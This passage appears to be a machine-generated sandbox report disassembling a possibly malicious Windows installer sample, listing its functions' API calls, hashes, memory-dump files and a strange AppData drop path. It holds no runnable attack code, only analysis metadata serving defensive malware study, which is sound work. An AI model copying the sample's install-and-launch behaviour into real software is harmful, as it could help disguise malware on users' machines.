SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404554

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction ID: 6ad8b1d984edffd0e08e34c6f36dd165e1dcb54a73607e2b540eae92d4c67d50
Opcode Fuzzy Hash: 8dc2ea4a8cffd810c80330d43262312fa0f844130cc7d84a637c392e617d0b66
Instruction Fuzzy Hash: ACC04C717402007BDA209F549D49F1777546790702F1495397351E51E0C674E550D61C

Function 0040350A Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403267,?), ref: 00403518

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Function 0040452B Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction ID: 777369a795cbaa9bd4fd16da76cbada5404ff361b75e364c58eeef3f96c31ac9
Opcode Fuzzy Hash: 5e23afa4ba150cac51e31494d2c9f0ee7f8efb4361c8cf2b7a73957f204a5961
Instruction Fuzzy Hash: 6BB09235181600AADA115B40DE09F867BA2E7A4701F029438B340640B0CBB210A0DB08

Function 00405B9D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 00405BAC

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction ID: 080962bbef7e268e86b0d243ececfcd1ad47764945baea7f73af6130fa7b9bd6
Opcode Fuzzy Hash: accb29398adcd6f2598047f0fcddae8b07494e52d9cc9fcafc25c5f5f83f3143
Instruction Fuzzy Hash: A9C092F2100201EFE301CF80CB09F067BE8AF54306F028058E1899A060CB788800CB29

Function 00404518 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,004042EF), ref: 00404522

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction ID: 186c68f4495094c0cebc3eb7279f68ffc90812dad8dfd9e689695b78415bb769
Opcode Fuzzy Hash: faa9f1bbc6a73408ed15535010d366895e2d742fa65bef251b9024de670fa5bb
Instruction Fuzzy Hash: 43A00176544A04ABCE12EB50EF4990ABB62BBA4B01B618879A285514388B325921EB19

Function 00401FC9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055FC: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Part of subcall function 00405B5A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00402010

Part of subcall function 00406A16: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A27
Part of subcall function 00406A16: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A49

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: a427765dcc854a3b2948ff8f1996ec0f646c6c24c00c8af56b9e51dc183c014b
Instruction ID: 3bd5da99d2ff211530604a8704e688701187be5a7f5114c752edafe9c60b233e
Opcode Fuzzy Hash: a427765dcc854a3b2948ff8f1996ec0f646c6c24c00c8af56b9e51dc183c014b
Instruction Fuzzy Hash: 82F0F6329041119BDB20BBA18A895DE76A4CF00318F21803FE202B21C6CBBC4D41AB6E

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1ea5a5e12aa05b844e6b4a57a4a16afa5e1267f6842beefd722180d43813e619
Instruction ID: 33bc48e2b41eb1a57acea8eab1ee3944d72ccc7503d83e75cfd502536df4b4aa
Opcode Fuzzy Hash: 1ea5a5e12aa05b844e6b4a57a4a16afa5e1267f6842beefd722180d43813e619
Instruction Fuzzy Hash: F9D0A773A146008BD744EBB8BE8549F73E8EB903293215C3BD102E10D1E778C901561C

Function 73B012BB Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,73B012DB,?,73B0137F,00000019,73B011CA,-000000A0), ref: 73B012C5

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 2a29af8f57ea6cc03fbb069b789d45703d7bfec852381132aba474cdbd6b70a1
Instruction ID: be89c57cd55f30a183b579b732db7876264c56c86f312110de4b4157266f0078
Opcode Fuzzy Hash: 2a29af8f57ea6cc03fbb069b789d45703d7bfec852381132aba474cdbd6b70a1
Instruction Fuzzy Hash: D3B012B26000009FFE10AB15DF4AF383254F710308F241000B608D3840E1208C008924

Non-executed Functions

Function 004049E7 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A36
SetWindowTextW.USER32(00000000,?), ref: 00404A60
SHBrowseForFolderW.SHELL32(?), ref: 00404B11
CoTaskMemFree.OLE32(00000000), ref: 00404B1C
lstrcmpiW.KERNEL32(Call,0042CA68,00000000,?,?), ref: 00404B4E
lstrcatW.KERNEL32(?,Call), ref: 00404B5A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B6C

Part of subcall function 00405BBB: GetDlgItemTextW.USER32(?,?,00000400,00404BA3), ref: 00405BCE

Part of subcall function 00406825: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\QNuQ5e175D.exe",756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
Part of subcall function 00406825: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
Part of subcall function 00406825: CharNextW.USER32(?,"C:\Users\user\Desktop\QNuQ5e175D.exe",756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
Part of subcall function 00406825: CharPrevW.USER32(?,?,756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,00000001,0042AA38,?,?,000003FB,?), ref: 00404C2F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C4A

Part of subcall function 00404DA3: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
Part of subcall function 00404DA3: wsprintfW.USER32 ref: 00404E4D
Part of subcall function 00404DA3: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

A, xrefs: 00404B0A
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00404B37
Call, xrefs: 00404B48, 00404B4D, 00404B58

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$Call
API String ID: 2624150263-2762731361
Opcode ID: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction ID: 819d6111372f9eb468737b2dc9595d459319e5efb98401d1644bfd8e85b56d65
Opcode Fuzzy Hash: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction Fuzzy Hash: 14A180B1901208ABDB11EFA5DD45BAFB7B8EF84314F11803BF601B62D1D77C9A418B69

Function 004021CF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040224E

Strings

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 0040228E

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres
API String ID: 542301482-3533886424
Opcode ID: 99423ef168fa0dc7d563ab215b90f00d26a2448a52d76e49bcb10065e06d2d2e
Instruction ID: 879178e2914a864b6efeea5842d2d3985b85c893096dfa9a9f6c7732eb85e553
Opcode Fuzzy Hash: 99423ef168fa0dc7d563ab215b90f00d26a2448a52d76e49bcb10065e06d2d2e
Instruction Fuzzy Hash: D1412571A00209AFCB00DFE4CA89A9D7BB5FF48318B20457EF505EB2D1DB799981CB54

Function 00402930 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040293F

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
Instruction ID: 26e9208e2aa2ebd90a7e98889f3239c7d6ed4a815a584e9a2b1206afb1357c73
Opcode Fuzzy Hash: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
Instruction Fuzzy Hash: D1F08C71A04105AAD700EBE4EE499AEB378EF14324F20017BE112F31E5D7B89E509B2E

Function 00406DE6 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction ID: 02047a1f5ab1e1ae91636e32b2ea393de8a2dfbdc7c3bc720fead707395ef2b6
Opcode Fuzzy Hash: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction Fuzzy Hash: 74E19A71A0470ADFCB24CF58C890BAABBF5FF44305F15852EE496A72D1E738AA51CB05

Function 004075BD Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction ID: 0a97e2f3c77d8a3c51360fc4da6bbcda8fc4cde0dfaec3b210e24d05d93e5961
Opcode Fuzzy Hash: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction Fuzzy Hash: 46C14872E042198BCF18DF68C4905EEB7B2BF88354F25866AD856B7380D734A942CF95

Function 00404F63 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F7B
GetDlgItem.USER32(?,00000408), ref: 00404F86
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FD0
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FE7
SetWindowLongW.USER32(?,000000FC,00405570), ref: 00405000
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00405014
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405026
SendMessageW.USER32(?,00001109,00000002), ref: 0040503C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405048
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040505A
DeleteObject.GDI32(00000000), ref: 0040505D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405088
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405094
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040512F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040515F

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405173
GetWindowLongW.USER32(?,000000F0), ref: 004051A1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004051AF
ShowWindow.USER32(?,00000005), ref: 004051BF
SendMessageW.USER32(?,00000419,00000000,?), ref: 004052BA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040531F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405334
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405358
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405378
ImageList_Destroy.COMCTL32(?), ref: 0040538D
GlobalFree.KERNEL32(?), ref: 0040539D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405416
SendMessageW.USER32(?,00001102,?,?), ref: 004054BF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054CE
InvalidateRect.USER32(?,00000000,00000001), ref: 004054F9
ShowWindow.USER32(?,00000000), ref: 00405547
GetDlgItem.USER32(?,000003FE), ref: 00405552
ShowWindow.USER32(00000000), ref: 00405559

Strings

M, xrefs: 00405117
, xrefs: 00405531
N, xrefs: 004051F8

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

